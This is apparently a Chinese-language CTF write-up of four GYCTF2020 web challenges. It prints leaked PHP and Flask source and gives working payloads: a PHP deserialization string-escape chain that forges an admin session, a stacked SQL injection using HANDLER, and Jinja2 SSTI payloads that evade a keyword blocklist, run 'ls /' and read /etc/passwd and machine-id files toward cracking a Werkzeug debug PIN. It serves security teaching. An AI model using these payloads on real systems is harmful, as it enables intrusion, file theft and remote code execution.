GYCTF2020

[GYCTF2020]Easyphp

一道代审的好题!

一个管理系统的登录页面,目录扫描,www.zip源码泄露,那么开始代码审计!

index.php

php 复制代码
<?php
require_once "lib.php";

if(isset($_GET['action'])){
	require_once(__DIR__."/".$_GET['action'].".php");
}
else{
	if($_SESSION['login']==1){
		echo "<script>window.location.href='./index.php?action=update'</script>";
	}
	else{
		echo "<script>window.location.href='./index.php?action=login'</script>";
	}
}
?>

一个通过action进行包含当前目录下的文件,由于__DIR__/的出现导致难以成为文件包含漏洞!

login.php

php 复制代码
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>login</title>
<center>
	<form action="login.php" method="post" style="margin-top: 300">
		<h2>百万前端的用户信息管理系统</h2>
		<h3>半成品系统 留后门的程序员已经跑路</h3>
        		<input type="text" name="username" placeholder="UserName" required>
		<br>
		<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
		<br>
		<button style="margin-top:20;" type="submit">登录</button>
		<br>
		<img src='img/1.jpg'>大家记得做好防护</img>
		<br>
		<br>
<?php 
$user=new user();
if(isset($_POST['username'])){
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
		die("<br>Damn you, hacker!");
	}
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
		die("Damn you, hacker!");
	}
	$user->login();
}
?>
	</form>
</center>

主要有个类的实例化,创建了一个对象,且最后调用了login()方法!然后就是做了防sql注入(基本上注入有点难)

update.php

php 复制代码
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

同样调用了update()方法!但是只要登录成功,即$_SESSION['login']===1就能拿flag!

所以至此我们的思维焦点就是放在3个点:

1,login.php的方法调用

2,update.php的方法调用

3,如何$_SESSION['login']===1

lib.php

php 复制代码
<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

想要通过login.php使得$_SESSION['login']=1就只有下面这种可能

php 复制代码
if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }

即这个必须返回true

php 复制代码
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }

此时的查询语句是select id,password from user where username=?

这里没有注入可能,具体参考我的另一篇文章:从ctf引发对with rollup语句的思考-CSDN博客

那么只能看看update.php里面对象对方法的调用了

php 复制代码
public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

很明显就不管其他的,Info=unserialize(this->getNewinfo());就这点,反序列化的内容我们可以控制,那不就是反序列化漏洞了嘛,如果可以打通链子的话!其他的都不用去看

找链子:UpdateHelper:__destruct方法-->User的__toString-->Info的__call方法-->dbCtrl的login

关键在这个:dbCtrl的login,我们要用它干嘛呢?

_SESSION\['token'\]=this->name;就是这个,我们让它等于admin!

怎么做?函数接受的参数$sql可控,我们让它select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?那么这样并控制了返回的id的password(1的md5值)

exp:

php 复制代码
<?php
class User
{
    public $age=null;
    public $nickname=null;
    public function __construct(){
        $this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname=new Info();
    }
}

class Info{
    public $CtrlCase;
    public function __construct(){
        $this->CtrlCase=new dbCtrl();
    }
}
Class UpdateHelper{
    public $sql;
    public function __construct(){
        $this->sql=new User();
    }
}
class dbCtrl
{
    public $name='admin';
    public $password='1';
}
$a = new UpdateHelper();
echo serialize($a);
?>

这么去触发这个链子?

我们反序列化的其实是这个类

php 复制代码
class Info{
    public $age=1;
    public $nickname='aaa';
    public $CtrlCase;
}

但是我们可以控制其中的两个属性

我们对其进行字符串增加逃逸

明确要逃逸的字符:

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}

经计算:264个,那么就是52个*2个load

那么payload就是:

update.php

post:

age=1&nickname=****************************************************loadload";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}

这么一搞,$_SESSION['token']=='admin'。

然后在login.php页面用户名输入admin,那么肯定会返回id和password,就会进入到

php 复制代码
if ($this->token=='admin') {
    return $idResult;
}

那么就可以拿到flag!

总结

先是一个虚假的文件包含,利用不了!然后慢慢有序地审出个反序列化!那么就是找链子,之后就是想如何触发!值得深思,代审的流程

[GYCTF2020]Blacklist

黑名单都出来了!

堆叠呗!

?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;%23

handler用于生成一个句柄(间接指针)

[GYCTF2020]FlaskApp

在解密的地方报错出部分源码和python解释器的位置

python 复制代码
@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "结果 : {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

        res =  render_template_string(tmp)

        flash( res )

很明显是一个ssti

由于要加密和解密,懒得一步步去测,干脆用个万能点的

控制块 {%%} 同样也是渲染,可以声明变量,也可以执行语句

{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('app.py','r').read()}}{%endif %}{%endfor %}

把源码搞到

python 复制代码
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1


@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html",txt = txt)


@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果  :{0}".format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))

    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))

    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")


@app.route('/<name>',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)
复制代码
black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]

就过滤了这些玩意直接使用拼接绕过!
payload:

{% for c in x.class.base.subclasses() %}{% if c.name=='catch_warnings' %}

{{ c.init.globals['builtins']['imp'+'ort']('o'+'s')['po'+'pen']('ls /').read()}}{% endif %}{% endfor %}

{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/this_is_the_fl'+'ag.txt','r').read()}}{%endif %}{%endfor %}

拿到flag!!!

讲讲第二种方法:

为什么会报错?其实是一个debug的页面,也就是说我们把pin值破解就可以拿到shell!

破解pin码:

username当前程序的用户名,通过/etc/passwd可以获取

modname,默认是flask.app

当前对象名称 默认是Flask

flask包内的app.py的绝对路径,刚刚报错出来了

Mac地址,通过/sys/class/net/eth0/address获取

机器码:这个分docker机和非docker机器
{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %}

{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/sys/class/net/eth0/address','r').read()}}{%endif %}{%endfor %}

{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/etc/machine-id','r').read()}}{%endif %}{%endfor %}

{%for c in x.class.base.subclasses() %} {%if c.name=='catch_warnings' %}{{c.init.globals['builtins'].open('/proc/self/cgroup','r').read()}}{%endif %}{%endfor %}

后面没啥说的了!

[GYCTF2020]Ezsqli

根据页面的回显发现可以打盲注,但是information被ban了

参考前面写的一篇文章:从information被ban到无列名注入-CSDN博客

这题我在文章里面也写了!

相关推荐
rufeii1 天前
安洵杯2019
wp
rufeii3 天前
网鼎杯 2020 朱雀组
wp·网鼎杯
亿.67 天前
羊城杯 2025
web·ctf·writeup·wp·羊城杯
碳水加碳水2 个月前
Java代码审计实战:XML外部实体注入(XXE)深度解析
java·安全·web安全·代码审计
介一安全2 个月前
【Web安全】CRLF注入攻击深度解析:原理、场景与安全测试防御指南
安全·web安全·网络安全·代码审计·安全性测试
Z3r4y3 个月前
【Web】京麒CTF 2025 决赛 wp
web·ctf·wp·京麒ctf2025
Jerry404_NotFound4 个月前
求助帖:学Java开发方向还是网络安全方向前景好
java·开发语言·python·安全·网络安全·渗透·代码审计
DevSecOps选型指南5 个月前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
_Poseidon5 个月前
2025蓝桥杯WP
蓝桥杯·wp·2025